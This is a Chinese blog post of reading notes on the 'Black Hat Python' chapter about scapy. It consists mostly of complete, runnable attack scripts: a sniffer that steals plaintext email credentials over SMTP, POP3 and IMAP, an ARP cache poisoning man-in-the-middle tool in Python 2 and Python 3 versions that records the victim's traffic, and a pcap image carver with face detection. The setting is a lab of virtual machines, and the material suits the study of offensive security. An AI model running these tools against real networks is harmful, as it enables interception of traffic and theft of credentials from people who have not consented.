《Python黑帽子:黑客与渗透测试编程之道》读书笔记:scapy——网络的掌控者
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前言
《Python黑帽子:黑客与渗透测试编程之道》的读书笔记,会包括书中源码,并自己将其中一些改写成Python3版本。书是比较老了,anyway,还是本很好的书
本篇是第4章scapy:网络的掌控者,包括简单的窃取email信息,ARP缓存投毒实现,处理PCAP文件里的图像,注意scapy在linux下比较好
1、窃取email认证
先简单的写个嗅探捕获SMTP、POP3、IMAP的认证信息
#!/usr/bin/env python
#-*- coding:utf8 -*-
from scapy.all import *
# 定义数据包回调函数
def packet_callback(packet):
if packet[TCP].payload:
# 先确认有payload
mail_packet = str(packet[TCP].payload)
# 检查有user和pass这种邮件的典型命令
if "user" in mail_packet.lower() or "pass" in mail_packet.lower():
print "[*] Server: %s" % packet[IP].dst
print "[*] %s" % packet[TCP].payload
# show函数解析所有协议信息并输出,是调试脚本的好办法
# print packet.show()
# 开启嗅探器(对常见电子邮件端口进行嗅探110(POP3), 25(SMTP), 143(IMAP), store=0:不保留原始数据包,长时间嗅探的话不会暂用太多内存
sniff(filter="tcp port 110 or tcp port 25 or tcp port 143", prn=packet_callback, store=0)
2、ARP缓存投毒
ARP协议可参考:一文搞明白ARP
ARP欺骗可参考:一文了解ARP欺骗
ARP缓存投毒,就是把欺骗写进缓存
可以用arp -a
来看缓存表
#!/usr/bin/env python
#-*- coding:utf8 -*-
from scapy.all import *
import os
import sys
import threading
import signal
interface = "eth0" #要嗅探的网卡
target_ip = "10.10.10.140" #目标ip,这里测试的是另外一台虚拟机winxp
gateway_ip = "10.10.10.2" #网关ip,这里是虚拟机的网关
packet_count = 1000
def restore_target(gateway_ip, gateway_mac, target_ip, target_mac):
# 以下代码调用send函数的方式稍有不同
print "[*] Restoring target..."
send(ARP(op=2, psrc=gateway_ip, pdst=target_ip, hwdst="ff:ff:ff:ff:ff:ff", hwsrc=gateway_mac), count=5) #只需发送到广播地址
send(ARP(op=2, psrc=target_ip, pdst=gateway_ip, hwdst="ff:ff:ff:ff:ff:ff", hwsrc=target_mac), count=5)
# 发出退出信号到主线程
os.kill(os.getpid(), signal.SIGINT)
def get_mac(ip_address):
# srp函数(发送和接收数据包,发送指定ARP请求到指定IP地址,然后从返回的数据中获取目标ip的mac)
responses,unanswered = srp(Ether(dst="ff:ff:ff:ff:ff:ff")/ARP(pdst=ip_address), timeout=2, retry=10)
# 返回从响应数据中获取的MAC地址
for s,r in responses:
return r[Ether].src
return None
def poison_target(gateway_ip, gateway_mac, target_ip, target_mac):
# 构建欺骗目标的ARP请求(),这里没设置hwsrc,默认就是本机咯
# 简单来说:告诉被攻击机器,本机(攻击机)的mac是网关,就是攻击者的机器是网关
poison_target = ARP()
poison_target.op = 2 # 响应报文
poison_target.psrc = gateway_ip # 模拟是网关发出的, 其实是我们的机器发出的
poison_target.pdst = target_ip # 目的地是目标机器
poison_target.hwdst = target_mac # 目标的物理地址是目标机器的mac
# 构建欺骗网关的ARP请求(),这里没设置hwsrc,默认就是本机咯
poison_gateway = ARP()
poison_gateway.op = 2 # 响应报文
poison_gateway.psrc = target_ip # 模拟是目标机器发出的,
poison_gateway.pdst = gateway_ip # 目的地是网关
poison_gateway.hwdst = gateway_mac # 目标的物理地址是网关的mac
print "[*] Beginning the ARP poison. [CTRL_C to stop]"
while True:
try:
# 开始发送ARP欺骗包(投毒)
send(poison_target)
send(poison_gateway)
# 停两秒
time.sleep(2)
except KeyboardInterrupt:
restore_target(gateway_ip, gateway_mac, target_ip, target_mac)
print "[*] ARP poison attack finished"
return
# 设置嗅探的网卡
conf.iface = interface
# 关闭输出
conf.verb = 0
print "[*] Setting up %s" % interface
# 获取网关mac
gateway_mac = get_mac(gateway_ip)
if gateway_mac is None:
print "[!!!] Failed to get gateway MAC. Exiting"
sys.exit(0)
else:
print "[*] Gateway %s is at %s" % (gateway_ip, gateway_mac)
# 获取目标(被攻击的机器)mac
target_mac = get_mac(target_ip)
if target_mac is None:
print "[!!!] Failed to get target MAC. Exiting"
sys.exit(0)
else:
print "[*] Target %s is at %s" % (target_ip, target_mac)
# 启动ARP投毒(欺骗)线程
poison_thread = threading.Thread(target = poison_target, args=(gateway_ip, gateway_mac, target_ip, target_mac))
poison_thread.start()
try:
print "[*] Starting sniffer for %d packets" % packet_count
bpf_filter = "ip host %s " % target_ip # 过滤器
packets = sniff(count = packet_count, filter=bpf_filter, iface = interface)
# 将捕获到的数据包输出到文件
wrpcap("arper.pcap", packets)
# 还原网络配置
restore_target(gateway_ip, gateway_mac, target_ip, target_mac)
except KeyboardInterrupt:
# 还原网络配置
restore_target(gateway_ip, gateway_mac, target_ip, target_mac)
sys.exit(0)
Python3版本
#!/usr/bin/env python
#-*- coding:utf8 -*-
from scapy.all import *
import os
import sys
import threading
interface = "eth0"
target_ip = "192.168.1.145"
gateway_ip = "192.168.1.1"
packet_count = 1000
poisoning = True
# 发送定制的ARP数据包到网络广播地址上
def restore_target(gateway_ip, gateway_mac, target_ip, target_mac):
# 以下调用send函数的方法略有不同
print("[*] Restoring target...")
send(ARP(op=2, psrc=gateway_ip, pdst=target_ip, hwdst="ff:ff:ff:ff:ff:ff",hwsrc=gateway_mac),count=5)
send(ARP(op=2, psrc=target_ip, pdst=gateway_ip, hwdst="ff:ff:ff:ff:ff:ff",hwsrc=target_mac),count=5)
def get_mac(ip_address):
responses,unanswered = srp(Ether(dst="ff:ff:ff:ff:ff:ff")/ARP(pdst=ip_address),timeout=2,retry=10)
# 返回从响应数据中获取的MAC地址
for s,r in responses:
return r[Ether].src
return None
def poison_target(gateway_ip,gateway_mac,target_ip,target_mac):
global poisoning
poison_target = ARP()
poison_target.op = 2
poison_target.psrc = gateway_ip
poison_target.pdst = target_ip
poison_target.hwdst= target_mac
poison_gateway = ARP()
poison_gateway.op = 2
poison_gateway.psrc = target_ip
poison_gateway.pdst = gateway_ip
poison_gateway.hwdst= gateway_mac
print("[*] Beginning the ARP poison. [CTRL-C to stop]")
while True:
try:
send(poison_target)
send(poison_gateway)
time.sleep(2)
except KeyboardInterrupt:
restore_target(gateway_ip,gateway_mac,target_ip,target_mac)
time.sleep(2)
print("[*] ARP poison attack finished.")
return
# 设置网卡
conf.iface = interface
# 关闭输出
conf.verb = 0
print("[*] Setting up %s" % interface)
gateway_mac = get_mac(gateway_ip)
if gateway_mac is None:
print("[!!!] Failed to get gateway MAC. Exiting.")
sys.exit(0)
else:
print("[*] Gateway %s is at %s" % (gateway_ip,gateway_mac))
target_mac = get_mac(target_ip)
if target_mac is None:
print("[!!!] Failed to get target MAC. Exiting.")
sys.exit(0)
else:
print("[*] Target %s is at %s" % (target_ip,target_mac))
# 开启ARP投毒线程
poison_thread = threading.Thread(target=poison_target, args=(gateway_ip, gateway_mac,target_ip,target_mac))
poison_thread.start()
try:
print("[*] Starting sniffer for %d packets" % packet_count)
bpf_filter = "ip host %s" % target_ip
packets = sniff(count=packet_count,filter=bpf_filter,iface=interface)
# 将捕获到的数据包输出到文件
wrpcap('arper.pcap',packets)
# 还原网络配置
restore_target(gateway_ip,gateway_mac,target_ip,target_mac)
except KeyboardInterrupt:
restore_target(gateway_ip,gateway_mac,target_ip,target_mac)
sys.exit(0)
3、PCAP文件处理
尝试从HTTP流量中提取图像
#!/usr/bin/env python
#-*- coding:utf8 -*-
import re
import zlib
import cv2
from scapy.all import *
pictures_directory = "./pictures/"
faces_directory = "./faces/"
pcap_file = "test.pcap"
def get_http_headers(http_payload):
try:
# 如果为http流量,提取http头
headers_raw = http_payload[:http_payload.index("\\r\\n\\r\\n")+2]
# 用正则对http头进行切分
headers = dict(re.findall(r"(?P<name>.*?):(?P<value>.*?)\\r\\n", headers_raw))
except:
return None
if "Content-Type" not in headers:
return None
return headers
# 解析http头,看是否有图像
def extract_image(headers, http_payload):
image = None
image_type = None
try:
if "image" in headers['Content-Type']:
#获取图像类型和图像数据
image_type = headers['Content-Type'].split("/")[1]
image = http_payload[http_payload.index("\\r\\n\\r\\n")+4:]
#如果数据进行了压缩则解压
try:
if "Content-Encoding" in headers.keys():
if headers['Content-Encoding'] == "gzip":
image = zlib.decompress(image, 16+zlib.MAX_WBITS)
elif headers['Content-Encoding'] == "deflate":
image = zlib.decompress(image)
except:
pass
except:
return None, None
return image,image_type
# 人脸检测
def face_detect(path, file_name):
img = cv2.imread(path) #读取
cascade = cv2.CascadeClassifier("haarcascade_frontalface_alt.xml") #分类算法检测
rects = cascade.detectMultiScale(img, 1.3, 4, cv2.cv.CV_HAAR_SCALE_IMAGE, (20,20))
if len(rects) == 0:
return False
rects[:, 2:] += rects[:, :2]
#对图像中的人脸进行高亮的显示处理
for x1, y1, x2, y2 in rects:
cv2.rectangle(img, (x1,y1), (x2,y2), (127,255,0), 2)
cv2.imwrite("%s/%s-%s" (faces_directory, pcap_file, file_name), img)
return True
def http_assembler(pcap_file):
carved_images = 0
faces_detected = 0
# 打开pcap文件
a = rdpcap(pcap_file)
sessions = a.sessions()
# 分割TCP中的session并保存
for session in sessions:
http_payload = ""
for packet in sessions[session]:
try:
if packet[TCP].dport == 80 or packet[TCP].sport == 80:
# 对数据组包,类似wireshark中的follow TCP stream
http_payload += str(packet[TCP].payload)
except:
pass
# 将上面这个缓存的内容作为参数,调用http头分割函数
headers = get_http_headers(http_payload)
if headers is None:
continue
# 提取图像
image, image_type = extract_image(headers, http_payload)
if image is not None and image_type is not None:
# 存储图像
file_name = "%s-pic_carver_%d.%s" % (pcap_file, carved_images, image_type)
fd = open("%s/%s" % (pictures_directory, file_name), "wb")
fd.write(image)
fd.close()
carved_images += 1
#开始人脸识别
try:
result = face_detect("%s/%s" % (pictures_directory, file_name), file_name)
if result is True:
faces_detected += 1
except:
pass
return carved_images, faces_detected
carved_images, faces_detected = http_assembler(pcap_file)
print "Extracted: %d images" % carved_images
print "Detected: %d faces" % faces_detected
结语
利用scapy实现email信息窃取,arp缓存投毒,pcap提取图像
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